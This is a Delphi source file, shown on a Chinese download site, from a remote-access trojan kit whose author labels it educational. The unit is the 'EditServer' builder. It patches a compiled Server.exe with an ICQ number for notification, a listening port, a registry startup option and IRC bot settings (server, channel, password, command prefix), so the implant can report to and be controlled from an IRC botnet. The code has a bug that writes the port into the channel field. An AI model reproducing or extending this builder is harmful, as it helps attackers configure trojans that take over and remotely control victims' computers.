⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unteditsrv.pas

📁 国外的远程控制源码,国内首发~~~我看到了就转过来了~
💻 PAS
字号:
{
        Thanks for downloading the Anal Rape 1.0 source code, coded by Otis!

        Nick: Otis
        Crew: Imafraid (http://www.imafraid.com)
        Status: Inactive Coder (busy with college)

        This file should be downloaded ONLY from the following sites:

        http://www.imafraid.com/
        http://sourceb0x.com/
        http://tehboxxen.com/  <--- otis's home

        This source is for educational purposes, and is not meant to do any
        damage, although if it does, it isnt my fault! :P

        If you have any questions, email:

        otis@imafraid.com

        ONE LAST MESSAGE:

        For cheap quality hosting, visit http://hostmecheap.net/
}

unit untEditSrv;

interface

uses
  Windows, SysUtils, Classes, Controls, Forms, StdCtrls,
  Buttons, ExtCtrls, ScktComp, Dialogs, Winsock, TFlatEditUnit,
  TFlatButtonUnit, TFlatPanelUnit, TFlatCheckBoxUnit, TFlatSpeedButtonUnit;

type
  TaPInAddr = array [0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
  
  TfrmEditSrv = class(TForm)
    SavDlg: TSaveDialog;
    OpnDlg: TOpenDialog;
    SpdOpen: TSpeedButton;
    Label1: TLabel;
    Label2: TLabel;
    EdtFileName: TFlatEdit;
    SpdReadSettings: TFlatButton;
    SpdSave: TFlatButton;
    SpdClose: TFlatButton;
    Edit1: TFlatEdit;
    FlatPanel1: TFlatPanel;
    FlatPanel2: TFlatPanel;
    FlatSpeedButton1: TFlatSpeedButton;
    FlatPanel3: TFlatPanel;
    Label3: TLabel;
    Edit2: TFlatEdit;
    FlatSpeedButton2: TFlatSpeedButton;
    FlatPanel4: TFlatPanel;
    FlatEdit1: TFlatEdit;
    FlatEdit2: TFlatEdit;
    FlatEdit3: TFlatEdit;
    FlatEdit4: TFlatEdit;
    FlatEdit5: TFlatEdit;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    FlatSpeedButton3: TFlatSpeedButton;
    procedure FormCreate(Sender: TObject);
    procedure SpdCloseClick(Sender: TObject);
    procedure SpdOpenClick(Sender: TObject);
    procedure SpdReadSettingsClick(Sender: TObject);
    procedure SpdSaveClick(Sender: TObject);
    procedure ReadFile(lpFileName:string;var lpFileBuffer:string);
    procedure ShowSettings(lpFileName:string);
    procedure SaveSettings(lpFileName:string;NewFile:string);
    function AdjustString(lpString:string; lpSize:integer):string;
    function CanEdit:Boolean;
    function InternetConnected:Boolean;
    function ValidFile(cPos:longint):Boolean;
    procedure FlatSpeedButton1Click(Sender: TObject);
    procedure FlatSpeedButton2Click(Sender: TObject);
    procedure FlatSpeedButton3Click(Sender: TObject);

    private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmEditSrv: TfrmEditSrv;

const
  ICQ_NUMBER:string = 'icq='; // size = 10 bytes
  SRV_PORT:string = 'prt='; // size = 5 bytes
  ICQ_OPT:string = 'icqopt=';
  IRC_OPT:string = 'ircopt=';
  REG_OPT:string = 'regopt=';
  IRC_SERVER:string = 'bot_serv=';
  IRC_PORT:string='bot_port=';
  IRC_BOTPASS:string='bot_pass=';
  IRC_PREFIX:string='bot_pref=';
  IRC_CHAN:string='bot_chan=';

  InvalidChars:array [0..8] of shortstring = ('\','/',':','*','?','"','<','>','|');

implementation

{$R *.DFM}

function LocalIP:string;
var
    phe : PHostEnt;
    pptr : PaPInAddr;
    Buffer : array [0..63] of char;
    I : Integer;
    GInitData : TWSADATA;
begin
    WSAStartup($101, GInitData);
    Result := '';
    GetHostName(Buffer, SizeOf(Buffer));
    phe :=GetHostByName(buffer);
    if phe = nil then
    begin
       Exit;
    end;
    pptr := PaPInAddr(Phe^.h_addr_list);
    I := 0;
    while pptr^[I] <> nil do
    begin
       Application.ProcessMessages;
       result:=StrPas(inet_ntoa(pptr^[I]^));
       Inc(I);
    end;
    WSACleanup;
end;

procedure TfrmEditSrv.FormCreate(Sender: TObject);
begin
   SpdOpen.Height:=EdtFileName.Height;
   Caption:='Anal Rape EditServer';
   Application.Title:='Anal Rape EditServer';
   frmEditSrv.EdtFileName.text := copy(paramstr(0), 1, length(paramstr(0)) - 10) + 'Server.exe';
end;

procedure TfrmEditSrv.SpdCloseClick(Sender: TObject);
begin
   Close;
end;

procedure TfrmEditSrv.SpdOpenClick(Sender: TObject);
begin
   if OpnDlg.Execute then
      EdtFileName.Text:=OpnDlg.FileName;
end;

procedure TfrmEditSrv.SpdReadSettingsClick(Sender: TObject);
var
   cFile:string;
begin
   cFile:=EdtFileName.Text;
   if not FileExists(cFile) then
   begin
      MessageBox(handle,'Specified file does not exists.',PChar(Caption),MB_ICONERROR);
      Exit;
   end;
   ShowSettings(cFile);
end;

procedure TfrmEditSrv.SpdSaveClick(Sender: TObject);
var
   cFile,nFile:string;
   l:Integer;
begin
   cFile:=EdtFileName.Text;
   if not FileExists(cFile) then
   begin
      MessageBox(handle,'Specified file does not exists.',PChar(Caption),MB_ICONERROR);
      Exit;
   end;
   if not CanEdit then Exit;
   if Sender = SpdSave then
      SaveSettings(cFile,cFile)
   else
   begin
      if not SavDlg.Execute then Exit;
      nFile:=SavDlg.FileName;
      l:=Length(nFile);
      if UpperCase(Copy(nFile,l - 3,l)) <> '.EXE' then
         nFile:=nFile + '.exe';
      SaveSettings(cFile,nFile);
   end;
ShowMessage('     Server Saved Successfully!     ');
end;

procedure TfrmEditSrv.ReadFile(lpFileName:string;var lpFileBuffer:string);
var
   lpFile:File of Char;
   cBuffer:array [1..1024] of Char;
   r,Len:LongInt;
begin
   lpFileBuffer:='';
   AssignFile(lpFile,lpFileName);
   Reset(lpFile);
   Len:=FileSize(lpFile);
   while not Eof(lpFile) do
   begin
      BlockRead(lpFile,cBuffer,1024,r);
      lpFileBuffer:=lpFileBuffer + string(cBuffer)
   end;
   CloseFile(lpFile);
   if Length(lpFileBuffer) > Len then
      lpFileBuffer:=Copy(lpFileBuffer,1,Len);
end;

procedure TfrmEditSrv.ShowSettings(lpFileName:string);
var
   fContent:string;
   p:longint;
   cICQ,SrvPort:string;
   icqstate:string;
   regstate:string;
   ircstate:string;
   ircchan:string;
   ircport:string;
   ircserver:string;
   ircprefix:string;
   ircbotpass:string;
begin
   ReadFile(lpFileName,fContent);

   p:=Pos(ICQ_NUMBER,fContent);
   //if not ValidFile(p) then Exit;
   cICQ:=Trim(Copy(fContent,p + Length(ICQ_NUMBER),10));

   p:=Pos(SRV_PORT,fContent);
   //if not ValidFile(p) then Exit;
   SrvPort:=Trim(Copy(fContent,p + Length(SRV_PORT),5));

   p:=Pos(ICQ_OPT,fContent);
   //if not ValidFile(p) then Exit;
   icqstate:=Trim(Copy(fContent,p + Length(ICQ_OPT),3));

   p:=Pos(IRC_OPT,fContent);
   //if not ValidFile(p) then Exit;
   ircstate:=Trim(Copy(fContent,p + Length(IRC_OPT),3));

   p:=Pos(REG_OPT,fContent);
   //if not ValidFile(p) then Exit;
   regstate:=Trim(Copy(fContent,p + Length(REG_OPT),3));

   p:=Pos(IRC_BOTPASS,fContent);
   //if not ValidFile(p) then Exit;
   ircbotpass:=Trim(Copy(fContent,p + Length(IRC_BOTPASS),20));

   p:=Pos(IRC_CHAN,fContent);
   //if not ValidFile(p) then Exit;
   ircchan:=Trim(Copy(fContent,p + Length(IRC_CHAN),20));

   p:=Pos(IRC_PORT,fContent);
   //if not ValidFile(p) then Exit;
   ircport:=Trim(Copy(fContent,p + Length(IRC_PORT),5));

   p:=Pos(IRC_PREFIX,fContent);
   //if not ValidFile(p) then Exit;
   ircprefix:=Trim(Copy(fContent,p + Length(IRC_PREFIX),1));

   p:=Pos(IRC_SERVER,fContent);
   //if not ValidFile(p) then Exit;
   ircserver:=Trim(Copy(fContent,p + Length(IRC_SERVER),40));


   if (trim(icqstate) = 'yes') then
   begin
     FlatSpeedButton1.Caption:='Disable';
     Edit1.Enabled:=true;
   end;
   if (trim(icqstate) = 'no') then
   begin
     FlatSpeedButton1.Caption:='Enable';
     Edit1.Enabled:=false;
   end;
   if (trim(regstate) = 'yes') then
   begin
     FlatSpeedButton2.Caption:='Disable';
   end;
   if (trim(regstate) = 'no') then
   begin
     FlatSpeedButton2.Caption:='Enable';
   end;

   if (trim(ircstate) = 'yes') then
   begin
     FlatSpeedButton3.Caption:='Disable';
   end;
   if (trim(ircstate) = 'no') then
   begin
     FlatSpeedButton3.Caption:='Enable';
   end;

   Edit1.Text:=cICQ;
   Edit2.Text:=SrvPort;
   FlatEdit1.Text:=ircserver;
   FlatEdit2.Text:=ircport;
   FlatEdit4.Text:=ircchan;
   FlatEdit3.Text:=ircbotpass;
   FlatEdit5.Text:=ircprefix;

   fContent:=EmptyStr;
end;

procedure TfrmEditSrv.SaveSettings(lpFileName:string;NewFile:string);
var
   fContent:string;
   p,l:longint;
   cICQ,IntDir,RegKey,SrvFile,SrvPort,TrnfPort:string;
   lpFile:TextFile;
   icq_on,reg_on,irc_on:string;
   ircserver,ircchan,ircpass,ircprefix,ircport:string;
begin
   ReadFile(lpFileName,fContent);
   l:=Length(fContent);

   cICQ:=Trim(edit1.Text);
   cICQ:=AdjustString(cICQ,10);

   p:=Pos(ICQ_NUMBER,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(ICQ_NUMBER) - 1) + cICQ + Copy(fContent,p + Length(ICQ_NUMBER) + 10,l);

   SrvPort:=Trim(edit2.Text);
   SrvPort:=AdjustString(SrvPort,5);

   p:=Pos(SRV_PORT,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(SRV_PORT) - 1) + SrvPort + Copy(fContent,p + Length(SRV_PORT) + 5,l);



   if flatspeedbutton2.caption = 'Enable' then reg_on:='no' else reg_on := 'yes';
   reg_on:=AdjustString(reg_on,3);

    p:=Pos(REG_opt,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(REG_opt) - 1) + reg_on + Copy(fContent,p + Length(REG_opt) + 3,l);

   if flatspeedbutton1.caption = 'Enable' then icq_on:='no' else icq_on := 'yes';
   icq_on:=AdjustString(icq_on,3);

    p:=Pos(icq_opt,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(icq_opt) - 1) + icq_on + Copy(fContent,p + Length(icq_opt) + 3,l);

   if flatspeedbutton3.caption = 'Enable' then irc_on:='no' else irc_on := 'yes';
   irc_on:=AdjustString(irc_on,3);

    p:=Pos(irc_opt,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(irc_opt) - 1) + irc_on + Copy(fContent,p + Length(irc_opt) + 3,l);









   ircpass:=FlatEdit3.text;
   ircpass:=AdjustString(ircpass,20);
   ircchan:=FlatEdit4.Text;
   ircchan:=AdjustString(SrvPort,20);
   ircserver:=FlatEdit1.Text;
   ircserver:=AdjustString(ircserver,40);
   ircprefix:=FlatEdit5.Text;
   ircprefix:=AdjustString(ircprefix,1);

   ircport:=FlatEdit2.text;
   ircport:=AdjustString(ircport,5);

    p:=Pos(IRC_BOTPASS,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(IRC_BOTPASS) - 1) + ircpass + Copy(fContent,p + Length(IRC_BOTPASS) + 20,l);

    p:=Pos(IRC_CHAN,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(IRC_CHAN) - 1) + ircchan + Copy(fContent,p + Length(IRC_CHAN) + 20,l);

    p:=Pos(IRC_PORT,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(IRC_PORT) - 1) + ircport + Copy(fContent,p + Length(IRC_PORT) + 5,l);

    p:=Pos(IRC_PREFIX,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(IRC_PREFIX) - 1) + ircprefix + Copy(fContent,p + Length(IRC_PREFIX) + 1,l);

    p:=Pos(IRC_SERVER,fContent);
   if not ValidFile(p) then Exit;
   fContent:=Copy(fContent,1,p + Length(IRC_SERVER) - 1) + ircserver + Copy(fContent,p + Length(IRC_SERVER) + 40,l);


   AssignFile(lpFile,NewFile);
   ReWrite(lpFile);
   Writeln(lpFile,fContent);
   CloseFile(lpFile);

   fContent:=EmptyStr;
end;

function TfrmEditSrv.AdjustString(lpString:string; lpSize:integer):string;
var
   l:integer;
begin
   l:=Length(lpString);
   if l = lpSize then
   begin
      AdjustString:=lpString;
      Exit;
   end;
   if l < lpSize then
   begin
      AdjustString:=lpString + StringOfChar(' ',lpSize - l);
      Exit;
   end;
   if l > lpSize then
   begin
      AdjustString:=Copy(lpString,1,lpSize);
      Exit;
   end;
end;

function TfrmEditSrv.CanEdit:Boolean;
var
   LongSrv,LongUP:Longint;
   i:Integer;
   f:string;
   bFile:Boolean;
begin
   CanEdit:=False;
   if StrToIntDef(Trim(Edit1.Text),-1) < 0 then
   begin
      MessageBox(handle,'Please, enter an valid ICQ UIN.',PChar(Caption),MB_ICONERROR);
      Edit1.SetFocus;
      Exit;
   end;
   LongSrv:=StrToIntDef(Trim(Edit2.Text),-1);
   if (LongSrv <= 0) or (LongSrv > 65535) then
   begin
      MessageBox(handle,'Please, enter an valid server port(1 to 65535).',PChar(Caption),MB_ICONERROR);
      Edit2.SetFocus;
      Exit;
   end;
   CanEdit:=True;
end;

function TfrmEditSrv.InternetConnected:Boolean;
var
   S:string;
begin
   S:=Copy(LocalIP,1,3);
   Result:=(S < '255') and (S > '127');
end;

function TfrmEditSrv.ValidFile(cPos:longint):Boolean;
var
   r:Boolean;
begin
   r := cPos > 0;
   if not r then
      MessageBox(handle,'Please, select an valid file.',PChar(Caption),MB_ICONERROR);
   ValidFile:=r;
end;



procedure TfrmEditSrv.FlatSpeedButton1Click(Sender: TObject);
begin
  if (FlatSpeedButton1.Caption = 'Enable') then
  Begin
    FlatSpeedButton1.Caption := 'Disable';
    Edit1.Enabled := True;
  end else
  if (FlatSpeedButton1.Caption = 'Disable') then
  Begin
    FlatSpeedButton1.Caption := 'Enable';
    Edit1.Enabled := False;
  end else   
end;

procedure TfrmEditSrv.FlatSpeedButton2Click(Sender: TObject);
begin
if (FlatSpeedButton2.Caption = 'Enable') then
  Begin
    FlatSpeedButton2.Caption := 'Disable';
  end else
  if (FlatSpeedButton2.Caption = 'Disable') then
  Begin
    FlatSpeedButton2.Caption := 'Enable';
  end else
end;

procedure TfrmEditSrv.FlatSpeedButton3Click(Sender: TObject);
begin
  if (FlatSpeedButton3.Caption = 'Enable') then
  Begin
    FlatSpeedButton3.Caption := 'Disable';
    FlatEdit1.Enabled:=true;
    FlatEdit2.Enabled:=true;
    FlatEdit3.Enabled:=true;
    FlatEdit4.Enabled:=true;
    FlatEdit5.Enabled:=true;
  end else
  if (FlatSpeedButton3.Caption = 'Disable') then
  Begin
    FlatSpeedButton3.Caption := 'Enable';
    FlatEdit1.Enabled:=false;
    FlatEdit2.Enabled:=false;
    FlatEdit3.Enabled:=false;
    FlatEdit4.Enabled:=false;
    FlatEdit5.Enabled:=false;
  end else
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -